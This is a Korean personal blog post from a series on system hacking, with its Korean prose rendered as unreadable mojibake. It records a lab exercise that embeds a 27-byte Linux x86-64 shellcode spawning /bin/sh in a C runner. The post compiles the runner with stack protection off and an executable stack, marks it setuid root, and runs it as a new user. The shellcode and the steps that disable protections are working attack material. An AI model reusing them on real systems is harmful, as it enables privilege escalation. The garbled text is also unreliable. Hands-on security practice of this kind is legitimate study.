์ฐธ๊ณ : https://youtu.be/eJWlg-VoCBg
์ ํ๋ธ๋ฅผ ๋ณด๋ฉด์, ์ ์ฝ๋๋ฅผ ์ ์ํ๊ณ , ์ต์คํ๋ก์์ ์ค์ตํด๋ณด๋ ค๊ณ ํ๋ค.
์ ์ฝ๋ ๋ฐ ์ต์คํ๋ก์์ด๋ ์ฉ์ด๋ ๋ณด์๊ธฐ์ฌ ์ค๋น์ ๋ง์ด ๋ค์ด๋ดค๋ค.
์ ์ฝ๋๋ ๋ช ๋ น ์ ๊ณต๊ฒฉ ์ฝ๋๋ฅผ ์ด์ฉํด ์ทจ์ฝ์ ์ ๋ซ๊ณ ์๋ฒ ์ปดํจํฐ๋ฅผ ์ ์ดํ ์ ์๋๋ก ํ๋ ์ฝ๋๋ฅผ ๋ปํ๋ค.
์๋์ฐ์์ ์ ์ฝ๋๋ ์ฐ๋ฆฌ๊ฐ ํํ ์ฐ๋ cmd๋ฅผ ๋ปํ๋ค.

๊ตฌ๊ธ์ ์์ ์ ์ด์์ฒด์ ๋ฅผ ์ ๊ณ ์ ์ฝ๋๋ฅผ ๊ฒ์ํ๋ฉด ๋ค์ํ ์ ์ฝ๋๋ค์ด ๊ฒ์๋๋ค.
https://shell-storm.org/shellcode/files/shellcode-806.html
Linux/x86-64 - Execute /bin/sh - 27 bytes
shell-storm.org
ํ์ฌ๋ ์ด ์ ์ฝ๋๋ฅผ ์ฌ์ฉํ๋ ค๊ณ ํ๋ค.
$su root
root๊ถํ ํ์ทจ๋ฅผ ์ํด root ๊ณ์ ์ผ๋ก ์ ์ํด shell ์ฝ๋๋ฅผ ์์ฑํ๊ณ ์ ํ๋ค.
#nano shell.c
๋จผ์ shell.c๋ฅผ ๋ง๋ ๋ค.

์ ์ฝ๋๋ฅผ ํฌํจํ๋ ๋ฌธ์์ด์ ํ๋ ๋ง๋ ๋ค.
๊ทธ ํ ๊ทธ ์์ ์์ ์ ์ฝ๋ ์ค char code[]=" ~~" ์์ ๋ถ๋ถ์ ๋ณต์ฌํ์ฌ ๋ถ์ฌ๋ฃ๊ธฐ ํด์ค๋ค.

Ctrl+Shift+V ๋๋ ๋ง์ฐ์ค ์ฐํด๋ฆญ์ ํด๋ฆฝ๋ณด๋ ๋ถ์ฌ๋ฃ๊ธฐ๋ฅผ ํตํด ํด๋น ์ฝ๋๋ฅผ ๋ถ์ฌ๋ฃ๊ธฐ ํ ์ ์๋ค.
#include <stdio.h>
#include <string.h>
void main(){
const char shell[]="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
printf("length: %d bytes \n", strlen(shell));
(*(void(*)()) shell)();
return 0;
}
์ฒ์์ ์ ์ฝ๋์ ๊ธธ์ด๋ฅผ ์ถ๋ ฅํ๋ printf๋ฌธ์ด๊ณ , ๊ทธ ๋ฐ์
ํจ์ํํ๋ก ์คํํด์ ๋ฐ๋ก ์ ์ฝ๋๋ฅผ ์คํํ ์ ์๋๋ก ๋ง๋ค์๋ค.
์์ฒญ๋ ์์น ๊ฒฐ๊ณผ ํ์ฌ char ์ ์ธ์ main์์ ํด์ผํ๊ณ const๋ฅผ ๋ถ์ฌ์ผ ์๋ํ๋ค๋ ๊ฒ์ ์์๋๋ค.
# gcc -fno-stack-protector -mpreferred-stack-boundary=4 -z execstack shell.c -o shell
์นผ๋ฆฌ ๋ฆฌ๋ ์ค์ ๊ฐ์ ์ต์ OS๋ ๊ธฐ๋ณธ์ ์ผ๋ก ํ๋ก๊ทธ๋จ ์ปดํ์ผ์ ์คํ ํ๋กํ ํฐ๊ฐ ์์ง๋ง,
์ค์ต์ ์ํด ๋ฐฉ์ด๊ธฐ๋ฒ์ ๋ชจ๋ ๋ ์ํ์์ ์ค์ต์ ํ๋ค.
์ค์ต์ ์ํด ์๋ก์ด ์ฌ์ฉ์๋ฅผ ์ถ๊ฐํ๋๋ก ํ๋ค.
#adduser test
adduser ๋ช ๋ น์ด๋ฅผ ์ด์ฉํดtest ์ ์ ๋ฅผ ์ถ๊ฐํ์.
#chmod 4755 shell
shell ์ฝ๋์ ์คํ ๊ถํ์ setuid๋ฅผ ์ค์ ํ 4755๋ก ์ค์ ํ๋๋ก ํ๋ค.
setuid๋ root์ ๊ถํ์ผ๋ก ํด๋น ํ๋ก๊ทธ๋จ์ ์คํํ๋ค.
#chmod 0775 ํ ๋๋ ํฐ๋ฆฌ

test ์ ์ ๋ฅผ ์๋ก ๋ง๋ค์๋๋ฐ ์๊พธ ๋ฐ์์ ์คํ์ด์๋ผ์ ์์ฒญ ์ฐพ์๋ณด๋ค๊ฐ
ํด๊ฒฐ๋ฐฉ๋ฒ์ ์์๋ค.
#su test
test ์ฌ์ฉ์๋ก ์ด๋ํ๋๋ก ํ๋ค.

su ๋ช ๋ น์ด๋ ์ฌ์ฉ์๋ฅผ ๋ณ๊ฒฝํ๋ ๋ช ๋ น์ด์ด๋ค.
$./shell

์ด๋ฒ์ ์ฌ์ฉํ ์ ์ฝ๋๋ก๋ ๋ฃจํธ ๊ถํ ํ์ทจ๊ฐ ์ด๋ ค์ด๊ฒ ๊ฐ๋ค.
stack overflow๋ฅผ ์ฐพ์๋ณด๋, ์ ์ฝ๋๋ฅผ ์์ ํ๊ฑฐ๋ ํด์ผ๋๋ค๊ณ ํ๋ค.
๋ค์์ ๋ค๋ฅธ ์ ์ฝ๋๋ฅผ ์ด์ฉํ์ฌ ๋ง๋ค์ด๋ณด์์ผ๊ฒ ๋ค.
[์์คํ ํดํน] ์ด์ ๋ธ๋ฆฌ์ด๋ก ๋ณ ํผ๋ผ๋ฏธ๋ ๋ง๋ค๊ธฐ (2)
2023.01.18 - [ํ๋ก์ ํธ/์์คํ ํดํน] - [์์คํ ํดํน] ์ด์ ๋ธ๋ฆฌ์ด๋ก ๋ณ ํผ๋ผ๋ฏธ๋ ๋ง๋ค๊ธฐ (1) [์์คํ ํดํน] ์ด์ ๋ธ๋ฆฌ์ด๋ก ๋ณ ํผ๋ผ๋ฏธ๋ ๋ง๋ค๊ธฐ (1) https://youtu.be/FFFr5GnelJI ์ด์ ๋ธ๋ฆฌ์ด๋ฅผ ์ด์ฉํด์ ๋ณ ํผ๋ผ
dangsdangs.tistory.com
'ํ๋ก์ ํธ > ์์คํ ํดํน' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
| [์์คํ ํดํน] ๋ฒํผ ์ค๋ฒํ๋ก์ฐ ์ทจ์ฝ์ ํดํน ์ค์ต (2) (1) | 2023.01.26 |
|---|---|
| [์์คํ ํดํน] ๋ฒํผ ์ค๋ฒํ๋ก์ฐ ์ทจ์ฝ์ ํดํน ์ค์ต (1) (0) | 2023.01.25 |
| [์์คํ ํดํน] ์ด์ ๋ธ๋ฆฌ์ด๋ก ๋ณ ํผ๋ผ๋ฏธ๋ ๋ง๋ค๊ธฐ (2) (0) | 2023.01.19 |
| [์์คํ ํดํน] ์ด์ ๋ธ๋ฆฌ์ด๋ก ๋ณ ํผ๋ผ๋ฏธ๋ ๋ง๋ค๊ธฐ (1) (0) | 2023.01.18 |
| [์์คํ ํดํน] ๋๋ฒ๊น (0) | 2023.01.17 |